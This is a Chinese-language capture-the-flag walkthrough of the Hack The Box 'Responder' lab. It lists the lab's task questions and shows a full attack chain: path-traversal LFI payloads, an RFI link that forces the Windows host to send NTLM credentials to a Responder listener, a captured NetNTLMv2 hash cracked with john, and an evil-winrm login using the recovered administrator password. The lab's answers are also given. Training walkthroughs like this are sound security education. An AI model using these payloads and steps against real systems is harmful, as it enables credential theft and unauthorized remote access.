目 录CONTENT

文章目录

从零到牛逼第九节:一层Responder靶机

cz
cz
2023-05-22 / 0 评论 / 4 点赞 / 457 阅读 / 2,838 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-06-25,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言汇总

在上一节的实验中给大家讲述了ftp(文件传输协议)的相关操作,本节文章将给大家讲解密码破解,哈希捕捉,远程代码包含以及执行等相关知识,相信这篇文章可以给你带来一些学习乐趣

准备环节

打开控制台

su - root
Ctrl+Shift+T  #同时开启多个终端
cd /home/cz/下载    #你自己的vpn文件路径
openvpn starting_czhtb.ovpn  #通过openvpn连接htb平台
cd /home/cz/桌面  #在新建的终端打开
mkdir 0104   #创建0104实验目录
cd 0104
touch 笔记本.txt
ls

回到htb平台开启实例获取到分配给我们的ip地址

image-1684739088653

ping 10.129.56.231

image-1684739190647

题目详情

答案见文末

TASK 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
#译文:
任务1
当使用 IP 地址访问 Web 服务时,我们被重定向到的域是什么?
TASK 2
Which scripting language is being used on the server to generate webpages?
#译文:
任务 2
服务器上使用哪种脚本语言生成网页?
TASK 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
#译文:
任务 3
用于加载网页不同语言版本的 URL 参数的名称是什么?
TASK 4
Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
#译文:
任务 4
`page` 参数的以下哪个值是利用本地文件包含 (LFI) 漏洞的示例:“french.html”、“//10.10.14.6/somefile”、“../../. ./../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
TASK 5
Which of the following values for the `page` parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
#译文:
任务 5
`page` 参数的以下哪些值是利用远程文件包含 (RFI) 漏洞的示例:“french.html”、“//10.10.14.6/somefile”、“../../. ./../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
TASK 6
What does NTLM stand for?
#译文:
任务 6
NTLM 代表什么?
TASK 7
Which flag do we use in the Responder utility to specify the network interface?
#译文:
任务 7
我们在 Responder 实用程序中使用哪个标志来指定网络接口?
TASK 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.
#译文:
任务 8
有几种工具可以接受 NetNTLMv2 质询/响应并尝试数百万个密码以查看其中是否有任何一个生成相同的响应。一种这样的工具通常被称为 `john`,但全名是什么?。
TASK 9
What is the password for the administrator user?
#译文:
任务 9
管理员用户的密码是什么?
TASK 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
#译文:
任务 10
我们将使用 Windows 服务(即在盒子上运行)使用我们恢复的密码远程访问 Responder 机器。它监听什么端口 TCP?
SUBMIT FLAG
Submit root flag
#译文:
提交标志
提交根标志

实验环节

nmap扫描

老规矩,先用nmap扫描(本节教一些大家使用另一种语法快速扫描我们的端口开放状态)

nmap -p- --min-rate 5000 -sV 10.129.56.231 -o 0104nmap   #-p-:扫描1-65535的所有tcp端口   -sV:确定端口上运行的服务版本  --min-rate:指定nmap发送的最小数据包数,数值越大,扫描速度越快,这里我指定5000

扫描结果如下图,我们可以看出Apache httpd 2.4.52在80端口上运行,winRM在5985端口上运行

🔔:Windows远程管理或WinRM是一种Windows本地内置远程管理协议,它基本上使用简单对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。WinRM允许用户与主机进行远程通信和交互,在您不在本地但可通过网络访问的系统上远程执行命令。从远程位置监控、管理和配置服务器、操作系统和客户端机器。

image-1684740029631
作为渗透测试人员,这意味着如果我们能够找到具有远程管理权限的用户的凭据(通常是用户名和密码),我们就有可能在主机上获得PowerShell shell

网站枚举

打开浏览器输入地址访问,我们发现10.129.56.231这个地址重定向到http://unika.htb/这个域名上并且无法访问,我们需要在/etc/hosts为此域加一个条目

echo "10.129.56.231 unika.htb" | sudo tee -a /etc/hosts   #echo一个脚本命令,意思就是将10.129.56.231 unika.htb写入/etc/hosts这个配置文件中
cat /etc/hosts   #查看配置文件是否写入

image-1684741113750

刷新浏览器访问,可以看到一个网页设计的登录页面

image-1684741174488

搜索一番并没有发现什么可利用的,但是我们发现了导航栏有一个可以切换语言选项,我们切换到法语版本,相应的网页后缀也随之变化

image-1684741293763

注意URL,我们可以看到french.html页面正在通过page参数加载,如果页面输入未经过清理,该页面可能容易受到本地文件包含(LFI)漏洞的攻击。

image-1684741410182

🔔文件包含漏洞

动态网站包括动态HTML页面;使用来自HTTP请求的信息来包含GET和POST参数,cookie和其他变量。一个页面根据其中一些参数“包含”另一个页面是很常见的。

LFI或本地文件包含发生在攻击者能够让网站包含不打算成为此应用程序选项的文件时。一个常见的例子是应用程序使用文件路径作为输入。如果应用程序将此输入视为可信输入,并且未对此输入执行所需的检查则攻击者可以通过在输入的文件名中使用…/字符串来利用它,并最终查看本地文件系统中的敏感文件。在某些有限的情况下LFI也可以导致代码执行。

我们测试页面参数以查看我们是否可以在服务器响应中包含目标系统上的文件。我们将使用一些众所周知的文件进行测试,这些文件在网络,Windows域和系统中具有相同的名称,这些文件可以在此处找到,渗透测试人员可能会尝试在Windows机器上访问以验证LFI的最常见文件之一是主机文件,WINDOWS\System32/driversletc(hosts(该文件有助于将主机名本地转换为IP地址)…/字符串用于遍历目录,次一个。因此URL 中包含多个…/ 字符串,以便服务器上的
文件处理程序遍历回基本目录,即C:\

通过字符串遍历目录

http://unika.htb/index.php?page==../../../../../../../../windows/system32/drivers/etc/hosts

image-1684742117230

我们发现,LFI好像可以,因为我们可以在响应中查看C:\windows\system32\drivers\etc\hosts文件的内容。

在这种情况下,文件包含之所以成为可能,是因为在后端使用PHP的include()方法来处理URL参数页面,以便为不同的语言提供不同的网页。由于没有对该页面参数进行适当的过滤,我们能够传递恶意输入并查看内部系统文件。
🔔PHP中的include()方法是什么?

include语句获取指定文件中存在的所有文本,代码标记并将其加载到内存中,使其可供使用。

例如:

File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>

响应器捕捉

我们知道这个网页容易受到文件包含漏洞的影响,并且在Windows机器上提供服务。因此,存在在我们的攻击者工作站上包含文件的可能性,如果我们选择像SMB这样的协议,Windows将尝试对我们的机器进行身份验证,并且我们可以捕获NetNTLMv2。

🔔什么是NTLM(新技术局域网管理器)?

NTLM是Microsoft创建的身份验证协议的集合。它是一种质询响应身份验证协议,用于对Active Directory域上的资源的客户端进行身份验证。
它是一种单点登录(SSO),因为它允许用户在登录时仅提供一次基础身份验证因素。

NTLM身份验证过程通过以下方式完成:

  1. 客户端向服务器端发送用户名和域名。
  2. 服务器生成一个随机字符串,称为挑战。
  3. 客户端用用户密码的NTLM散列对挑战进行加密,并将其发送回服务器。
  4. 服务器检索用户密码(或等效密码)。
  5. 服务器使用从安全帐户数据库中检索到的散列值来加密挑战字符串。然后将该值与从客户端接收到的值进行比较。如果值匹配,则客户端通过身份验证。

现在,使用此链接中的示例我们可以尝试加载SMB URL,在该过程中,我们可以使用Responder从目标中捕获哈希。

git clone https://github.com/lgandx/Responder  #拉取工具

注:如无法下载,在本地访问上面clone后面的链接,从github仓库下载到本地,手动拖到kali相应的文件中
image-1684743088283

ls
cd Responder 
cat Responder.conf  #查看配置文件
sudo python3 Responder.py -I tun0  #默认都是tun0,可通过ip add查看,kali系统可不加python3这个参数,直接用sudo responder -l {network_interface}
http://unika.htb/?page=//10.10.16.25/somefile   #浏览器访问

访问前
image-1684743745379
访问后
image-1684743776526

哈希破解

echo "Administrator::RESPONDER:e97980401cf1c653:CED4922B16008ACAB5B211DFCFE90F96:010100000000000080A15AA8C88CD901E7F53A87AA56651B0000000002000800590056005A004D0001001E00570049004E002D0038003000440053004C0054004200370048005A00410004003400570049004E002D0038003000440053004C0054004200370048005A0041002E00590056005A004D002E004C004F00430041004C0003001400590056005A004D002E004C004F00430041004C0005001400590056005A004D002E004C004F00430041004C000700080080A15AA8C88CD901060004000200000008003000300000000000000001000000002000003AFCE16BEE1E124C62EA8A131E94F4174B97B38C7CF0828C45A79797304FB5330A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320035000000000000000000
" > hash.txt

image-1684743947199

使用john工具破解哈希

john -w=/usr/share/wordlists/rockyou.txt hash.txt   #-w后面跟字典路径

得到我们的密码:badminton

image-1684744147641

使用Evil-WinRM获取会话

evil-winrm -i 10.129.56.231 -u administrator -p badminton

成功获取

image-1684744347643

得到falg

dir    #发现什么都没有
cd C:\users #进入users目录,发现有个mike目录
cd mike
dir
cd Desktop
dir  #发现一个文件flag.txt
type flag.txt  #使用type查看这个文件

image-1684744797213

以上就是Responder靶机的全部内容,本节主要考察了文件包含漏洞的利用,以及哈希值破解,关注小志,零基础学渗透,我们下期见

4

评论区